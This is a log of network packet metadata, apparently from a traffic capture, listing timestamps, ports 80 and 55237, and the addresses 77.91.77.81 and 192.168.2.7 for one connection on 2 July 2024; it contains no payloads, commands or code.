Jul 2, 2024 12:21:30.093259096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093264103 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.093467951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093478918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093489885 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093508959 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.093522072 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.093599081 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093610048 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093620062 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093631029 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093640089 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.093643904 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.093668938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.121790886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121809006 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121820927 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121865988 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.121881962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121910095 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.121918917 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.121942043 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121953964 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121964931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.121984005 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122005939 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122098923 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122108936 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122119904 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122129917 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122139931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122139931 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122150898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122160912 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122167110 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122172117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122183084 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122184038 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122210026 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122606993 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122617960 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122627974 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122637033 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122647047 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122652054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122658014 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122668028 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122669935 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122678995 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122687101 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122689962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122699976 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122703075 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122710943 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122720957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122730017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122734070 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122741938 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122751951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122757912 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122761965 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122773886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122776985 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122783899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122798920 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.122800112 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.122824907 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.124402046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.124527931 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.124573946 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.124648094 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.124680042 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.124736071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.124871016 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.124901056 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.124982119 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125014067 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125168085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125201941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125353098 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125385046 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125545025 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125572920 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125575066 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125583887 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125602007 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125617981 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125715017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125878096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.125910997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.125992060 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126023054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126207113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126219988 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126250982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126322985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126353979 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126512051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126545906 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126580954 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126715899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126746893 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126754045 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126758099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126776934 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126795053 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.126884937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.126971960 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128515959 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128529072 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128539085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128551006 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128561974 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128571987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128572941 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128582001 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128613949 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128654957 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128667116 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128675938 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128685951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128695965 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128696918 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128706932 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128710032 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128717899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128729105 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128737926 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128739119 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128750086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128760099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128762007 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128770113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128776073 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128798008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128807068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128818035 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128824949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128834009 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128844023 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128848076 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128855944 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.128860950 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128870964 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.128890991 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.151081085 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.151099920 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.151113033 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.151125908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.151149035 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.151186943 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.154691935 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154753923 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.154773951 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154786110 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154809952 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.154829025 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.154844046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154855967 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154866934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.154887915 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.154915094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.155046940 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.155117989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.155128956 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.155153036 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.155179024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.155536890 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.156738997 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.181740046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181751966 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181768894 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181778908 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181790113 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181801081 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181812048 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181823015 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.181823015 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.181874990 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.182014942 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182025909 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182037115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182048082 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182058096 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182059050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.182075977 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.182090998 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.182105064 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.182141066 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213613987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213629007 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213640928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213697910 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213710070 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213715076 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213721037 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213732958 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213762045 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213778019 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213834047 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213845968 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213855982 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213870049 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213881016 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213884115 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.213906050 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.213922024 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214098930 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214109898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214119911 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214131117 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214140892 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214144945 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214152098 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214164019 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214170933 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214174986 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214184046 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214188099 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214199066 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214210033 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214237928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214675903 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214687109 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214696884 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214706898 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214713097 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214716911 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214729071 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214735031 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214739084 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214750051 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214750051 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214761972 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214771986 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214775085 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214783907 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214793921 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214803934 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214803934 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214821100 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214838028 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.214976072 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.214986086 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215009928 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215015888 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215024948 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215143919 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215154886 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215166092 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215177059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215177059 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215203047 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215332985 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215342999 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215353012 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215363026 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215368986 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215374947 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215387106 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215394020 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215399981 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215410948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215420008 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215423107 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215435982 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215450048 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215590954 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215601921 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215630054 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215725899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215737104 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215747118 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215759039 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215764046 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215774059 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215783119 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215785027 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215795994 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215806961 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215811014 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215817928 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215825081 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215828896 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215841055 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215847969 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215851068 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215862036 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215873003 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215876102 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215883970 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215892076 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215895891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.215904951 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.215928078 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216500998 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216512918 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216522932 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216533899 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216533899 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216547012 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216557980 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216557980 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216569901 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216583967 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216598988 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216629982 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216640949 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216672897 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216672897 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216686010 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216696978 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216707945 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216731071 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.216815948 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216825962 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.216857910 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.244968891 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.244993925 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245004892 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245054960 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245074987 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245083094 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245088100 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245100021 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245110989 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245115995 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245142937 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245145082 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245156050 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245167017 CEST	80	55237	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:30.245178938 CEST	55237	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:30.245203018 CEST	55237	80	192.168.2.7	77.91.77.81
